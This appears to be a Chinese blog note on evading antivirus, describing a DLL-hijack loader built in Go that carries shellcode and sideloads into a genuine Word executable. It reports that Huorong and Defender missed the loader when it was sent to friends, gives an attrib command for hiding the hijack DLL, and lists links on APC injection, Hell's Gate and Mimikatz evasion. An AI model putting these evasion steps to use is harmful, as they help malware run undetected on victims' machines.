原样本中通过将shellcode放入签名部分无效位置,在不破坏签名的情况下写入shellcode,dll从签名中还原shellcode并运行,但这样子会使得该文件的hash与原文件产生出入(不过上传vt也并不报毒),但这种操作对于后续修改shellcode略微的有些麻烦,需要手改二进制文件,也不好用uuid之类的操作。直接在go里面写shellcode,然后把以前的项目缝合进去,也可以正常运行,并且可以使用真正的原文件进行加载。
简单魔改之后,直接上本机的office16的winword主程序,直接正版程序hash一致完成劫持。
传了两个朋友,网络传输情况下,火绒和defender也不杀,大成功,vt对dll的检出率为4/70,也勉强吧
记一个命令attrib +h +s .\vcruntime140.dll /s /d
隐藏文件,可以把用来劫持的dll隐藏一下(用处不是很大)
把+h +s
改成-h -s
取消隐藏,把隐藏文件添加到压缩包之后,解压出来一样是隐藏的,不过在压缩包内是可以看见这个文件的存在的
参考链接
ReZeroBypassAV
APC Series: User APC API
New Early Bird Code Injection Technique Discovered
Process Injection: APC Injection
HellsGate.pdf
HELLGATE TECHNIQUE ON AV BYPASS
渗透基础——Windows Defender
这个系列非常牛逼,还没看完
TideSec/BypassAntiVirus
远控免杀从入门到实践(1):基础篇
Mimikatz的18种免杀姿势及防御策略
DLL劫持原理及其漏洞挖掘(一)